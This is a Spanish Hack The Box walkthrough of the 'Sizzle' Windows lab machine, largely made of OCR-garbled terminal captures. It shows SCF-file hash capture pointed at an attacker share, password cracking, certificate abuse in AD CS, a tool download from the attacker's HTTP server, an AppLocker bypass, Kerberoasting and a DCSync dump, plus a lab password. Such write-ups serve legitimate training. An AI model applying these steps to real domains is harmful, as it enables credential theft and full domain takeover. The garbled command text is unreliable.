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O- Introduccion

Sizzle es una maquina de dificultad Insane de Hack the Box creada por mrb3ny Ikys37en,
de los cuales son los autores de 2 de los 3 Hack The Box Pro Labs que estan disponibles
actualmente.

Sizzle es una maquina bastante antigua, ya que se lanzo en enero de 2019.

1- Enumeracion
1.1.  NMAP
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Los puertos mas interesantes son FTP (21), HTTP (80), LDAP (389) y SMB (445).
También tenemos WinRM en 5985/5986 como puerto Util si encontramos credenciales.
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1.2. FTP
A partir del resultado de nmap, parece que el script de nmap ftp-anon identificé que se
permite el inicio de sesion FTP andnimo.

nmap —script=ftp-anon 19.10.18.183
Startimg Nmap 7.92 ( = p.Oorg ) at 2@22-@6-25 0@7:18 EDT

Host is up (@

Not shown: 987 filte
PORT STATE SERVIC
21/tcp open ftp

] 11 ftp 10.10.18.1@
nnected to 190.18.1@.183.
@ Microsoft FTP Service

:kali): anonymous
b1 Anonymous access allowed, send identity (e-mail name) as
Issword:

mote system type is Windows_
ftp> dir
229 Entering Extended Passive Mode (|||65007]
Data connection already open; Transfer starting.

insfer complete.




FTP permite inicios de sesion anonimos, pero el directorio esta vacio.

1.3. HTTP
Revisamos el servidor HTTP pero solo contenia un gif.

10.10.10.103/ =

C @ O A& 10.10.10.103

Vamos a enumerar directorios utilizando la herramienta dirsearch:

kaligkali dirsearch -u "http://10.10.10.103:80" -i 200,301, 401,403

HTTP method:
Output File: /home/kali/.dirsearch/reports/10.10.10.103-80/_22-06-25_07-30-05.txt
Error Log: /home/kali/.dirsearch/logs/errors-22-06-25_07-30-05.1log

— http://10.10.10.103/aspnet_client/

- http://10.10.10.103/images/

Los directorios interesantes son /certsrv y /certenroll. El /certsrv es mas interesante ya
que el codigo de estado es 401 (lo que significa que no estamos autorizados, lo que indica
gue debe haber una autenticacion HTTP, por lo general).




1.4. SMB
Lo primero que debemos saber son los recursos compartidos, para lo que utilizaremos
smbclient.

smbclient —1list //sizzle.hth/ -U ""

Sharename Type Comment

ADMINS Disk Remote Admin

c$ Disk De 1t share

CertEnroll Disk Active Directory Certificate Services share
Department Shares Disk

IPCS IPC Remote IPC

NETLOGON isk Logon server share

Reconnecti
do_connec

kaligkali

Los recursos interesantes son CertEnroll, Department Shares y Operations. Los recursos
compartidos ADMINS$, C$, NETLOGIN y SYSVOL son recursos compartidos
integrados en Windows, por lo que es comun tenerlos en los resultados.

noté que habia un recurso compartido para los Servicios de certificados de Active
Directory. Lo maéas probable /certsrv es que esté en el servidor web:
http://sizzle.htb/certsrv

@ sizzle.htb
This site is asking you to sign in.

Username

]

Password

Tenemos la URL, pero necesitamos credenciales.

Vamos a listar el contenido de los recursos compartidos usando smbclient. Revisando el
recurso compartido Operations usando smbclient, traté de enumerar lo que hay dentro
usando el comando dir pero obtuve el acceso denegado:

smbclient % zzle.htb\\Operations



http://sizzle.htb/certsrv

D
D
D
D
D

D

Finance
HR
Info

Infrastructure
IT

Estamos buscando credenciales. Dado que podemos escribir en uno de los directorios,
posiblemente podamos aplicar un ataque a traves de un archivo scf. Vamos a colocar un
archivo scf en Users/Public. La estructura del archivo es la siguiente:

1 [Shell]

2 Command=2

3 IcnnFile=\\1(ﬂ.1@.xx.xx\share\elhackereticn|. ico
4 [Taskbar]

5 Command=ToggleDesktop

Entonces correremos responder. Cada vez que un usuario navega por ese directorio,
automaticamente intentard conectarse a mi equipo a través de smb, ahi es cuando
responder atrapara los hashes.

Ya tenemos el hash de una contrasefia y un usuario.

Guardamos el hash en un archivo y lo desciframos con John utilizando el diccionario
rockyou.txt.
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/hom

[MD& HM

cey for

Obtenemos la contrasefa para el usuario amanda en texto plano.

Seguimos enumerando. Vamos a continuar enumerando los recursos compartidos como
usuario amanda.

Asharel97
0.0 Build 14393 E] LE) (domain:HTB) (sig

LE) (domain:HTB.LOCAL)

r did not response wi

Pero parece que no funciona.

1.5. /certsrv

Iniciamos sesion en la URL que encontramos al principio del writeup y que requeria de
usuario y contrasefa.

Microsoft Active Directory Certificate Services — HTB-SIZZLE-CA

Welcome

Use this Web site to request a certificate for your Web browser, e-mail client, or other program. By using a certificate, you can verify

your identity to people you communicate with over the Web, sign and encrypt messages, and, depending upon the type of certificate
you request, perform other security tasks.

You can also use this Web site to download a certificate authority (CA) certificate, certificate chain, or certificate revocation list (CRL),
or to view the status of a pending request.

For more information about Active Directory Certificate Services, see Active Directory Certificate Services Documentation.

Select a task:
Request a certificate
View the status of a pending_certificate request
Download a CA certificate, certificate chain, or CRL

Es un servicio de certificados de AD de Windows.




¢Qué son los Servicios de Certificados de Active Directory (AD CS)? Segun Microsoft,
AD CS es el "rol de servidor que le permite crear una infraestructura de clave pablica
(PKI) y proporcionar criptografia de clave publica, certificados digitales y capacidades
de firma digital para su organizacion".

Al hacer clic en el enlace "Solicitar un certificado™ en la pagina, me da dos opciones. Al
marcar "Solicitud de certificado avanzada™, podemos agregar firmar nuestra propia clave.

Microsoft Active Directory Certificate Services - HTB-SIZZLE-CA

Request a Certificate

Select the certificate type:
User Certificate

Or, submit an advanced certificate request.

Tenemos una opcion en Evil-WinRM para usar claves publicas y claves privadas para
iniciar sesion.

Creamos una clave para el usuario amanda y generamos una solicitud de firma de
certificado (CSR) con los siguientes comandos.

openssl genrsa -aes256 -out amanda.key
¢ RSA private key, 2 bit long modulus (2 primes)

or pass

Verifying - Enter
kalipkali

kaligkali

EGIN
Proc-Typ

DEK-Info: A

EkPUfg
nFimouU
9mASdY




Y generamos el archivo CSR.

kaligkali openssl req -new -key amanda.key -out amanda.csr

Luego, en la pagina web de registro del certificado, podemos copiar/pegar el contenido
del CSR.

Microsoft Active Directory Cenrtificate Services -- HTB-SIZZLE-CA

Submit a Certificate Request or Renewal Request

To submit a saved request to the CA, paste a base-64-encoded CMC or PKCS #10 certificate request or PKCS #7 renewal request
generated by an external source (such as a Web server) in the Saved Request box.

Saved Request:

POZEESUWONY F2FnaXFeldISKDVRsobmOLwSRXUIMN
Base-64-encoded | yupNt1kqtcriol1vjVRiT+ZtpC6izen6xdag+TCD
certificate request | j 18vaw+{yYIneSfIHP/kCIfIM56CdB1y0UPbAdZVS

(CMC or JUL/ £rie+ulbyvD7kXOYTCgyBpSdTViZwL PPMKOY
PKCS #1001 | ... END CERTIFICATE REQUEST-----
PKCS #7):

y
Certificate T

P

| User ~

Additional Attributes:

Attributes:
4

|. Submit >.\

Esto genera un certificado firmado que vamos a descargar. 9

2- Explotacion

2.1. Shell como usuario amanda
Usando la clave publica y privada, inicié sesion como Amanda.

evil-winrm -5

-i 10.10.10.103 -u amanda -p Asharel972 -c certnew.cer -k a

te path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemen
achine

Warning: SSL enabled

Enter PEM pass ph z
PS Users\amanda\Documents> [j

Buscamos la flag user.txt en todas las carpetas del usuario amanda pero no la
encontramos, quizas este usuario sea el punto de pivote hacia otro usuario de dominio.

Vamos a utilizar bloodhound para extraer informacion interesante del dominio.

Comenzamos por el ingestor, en esta ocasion vamos a utilizar la version Python, que no
es necesario cargarla en la maquina victima.




1i bloodhound-python -d htb.local -u amanda -p Asharel972 -gc sizzle.htb.loc
1 -ns 10.10.10.103

: Found AD domain: htb.local
: Connecting to LDAP s izzle.HTB.LOCAL
¢ Found 1 domai

GC LDAP server: sizzle.htb.local

ation with 10 workers
e.HTB.LOCAL

.Zip *.json

Iniciamos neo4j y bloodhound, y cargamos el zip generado.

Upload Progress

20220626161352 computers.json
Upload Complete 100%

20220626161352_ domains.json
Upload Complete 100%

20220626161352 groups.json
Upload Complete 100%

Lo primero que hacemos es, ya que tenemos a Amanda, es "Agregar usuario Como propio
y mientras verifico las consultas, enumeramos todas las cuentas Kerberoastable.

Kerberoasting permite a un usuario solicitar un ticket de servicio para cualquier servicio
con un SPN registrado y luego usar ese ticket para descifrar la contrasefia del servicio. Si
el servicio tiene un SPN registrado, puede ser Kerberoastable; sin embargo, el éxito del
ataque depende de qué tan segura sea la contrasefia y si es rastreable, asi como también
de los privilegios de la cuenta de servicio descifrada.

10



AMANDA@HTB.LOCAL A K T

Database Info Node Info
n

AZApp 0 .
AZDevice 0 MRLKY@HTB.LOCAL
AZGroup 0

AZKeyVault 0

AZResourceGroup 0

AZServicePrincipal 0

AZSubscription 0

AZTenant 0

AZUser 0

AZVM 0

KRBTGT@HTB.LOCAL
Refresh Database Stats Warm Up Database

Clear Sessions Clear Database

Log Qut / Switch Database

Para hacer Kerberoasting hay varias herramientas, pero podemos probar este Rubeus.

Al ejecutar eso, asegurese de usar la opcidn kerberoast y también mencione el usuario y
su contrasefa.

2.2. Kerberoasting
Primero descargamos el ejecutable de rubeus, y lo subimos a la vicitma.

Creamos un servidor Python.

kaligkali
ving HTTP on 0.8
19.1@.18.103 - - [

cuments> iwr -uri http://10.10.16.4/Rubeus.exe -Outfile Rubeus.exe
cuments> dir

ith Name

431104 Rubeus.exe

Hay algun tipo de AppLocker que nos impide ejecutarlo, pero podemos usar esta
ubicacion para omitirlo.

£L HACKER
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10.10.16.4, eus. -Outfile Rubeus.exe

5.gmmp
m. gmmp

Profile.icm
cdmp
wsRGB. cdmp

W WO O W00 000D

eduser:htb.local

tion:

[*] NOTICE:
[*]

iz
Supported ETypes
Hash

Roasted
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2.3. Conexién como usuario mrlky 13
Obtenemos el hash de la contrasefia del usuario mrlky. Lo desciframos con hashcat.

13100 JtR: krb5tgs

Y ya tendriamos la contrasefia en texto plano.




Con este par de usuario y contrasefia, volvemos a utilizar bloodhound, para ver que nueva
informacidn podemos extraer.

Volvemos a lanzar el ingestor Python de bloodhound y generamos el zip.

Dkali bleodhound-python -d htb.1 1 -u mrl ootba i e.htb.loc
all -ns 10.10.10.1
Found AD domain: htb.l
Connecting to LDAP servy

Found 1 domains

Found 1 domains in the fores

Found 1 computers
: Connecting to LDAP

Could not resolve SID

to GC LDAP server: si .htb.local

tion with 10 wo r
le.HTB. LOCAL

ip *.json




MRLKY@HTB.LO®Y

ADMINISTRATORS@HTB.LOCAL

— HTBLLOCAL
/ -

Al verificar las consultas, puedo ver que mrlky esta en DCSync Rights. Entonces
podemos hacer ataques DCSync.

MRLKY tiene GetChanges y GetChangesAll, que es lo que queremos, para hacer un 15

DCSync Attack. También podemos verificar eso haciendo clic derecho en la ruta y en
Info revelaremos como abusar de ella.

Help: GetChangesAll

Info Abuse Info Opsec Considerations References

With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a desync attack
to get the password hash of an arbitrary principal using mimikatz:

lsadump: :dcsync /domain:testlab.local fuser:Administrator

You can also perform the more complicated ExtraSids attack to hop domain trusts. For information on
this see the blod post by harmj0y in the references tab.

Close

Hay muchas formas de hacer DCSync Attack pero impacket-secretsdump es la forma mas

facil de hacerlo. Aqui necesitamos dar al usuario mrlky y su contrasefia. Volcara todo el
hash.

; s
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& cali
Impacket v8.18.0 - Copyright :

Password:

[-] RemoteOperation
[#] Dumping Dom:
[*#] Using

Administ

Guest:

on 10.10.10.103
ADMINS

Y ya seriamos usuario administrador de la maquina. Y estaria acabada a falta de las flags.
Debemaos buscar la flag root.txt en el directorio C:\Users\administrator\Desktop>
adminis C
olume im drive C has no la
Volume Serial Number is 9C7

Directory of

il
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PS C:\Users\mrlky.HTB> dir

Directory: C:\Users\mrlky.HTB

LastWriteTime Length Name
7/16/2016
7/11/2018
7/16/2016
7/16/2016
7/16/2016
7/16/2016
7/16/2016
7/16/2016
7/16/2016

Desktop
Documents
Downloads
Favorites
Links

Music
Pictures
Saved Games
Videos

OOV WYWYWYWY U

Users\mrlky.HTB> cd
Enter PEM pass phrase:
PS C:\Users> dir

Directory: C:\Users

LastWriteTime Name

7/2/2018
7/2/2018
8/19/2018
9/30/2018
7/2/2018
7/11/2018
11/20/2016
7/3/2018
7/3/2018

PM .NET v4.5

PM .NET v4.5 Classic

PM administrator

PM amanda

PM mrlky

PM mrlky.HTB

PM Public

PM WSEnrollmentPolicyServer
PM WSEnrollmentServer

=
SO OUNU WS

P

PS C:\Users> cd mrlky
Users\mrlky> cd Desktop
Users\mrlky\Desktop> type user.txt
932a9¢
:\Users\mrlky\Desktop> I

Y ya tendriamos finalizada la maquina.




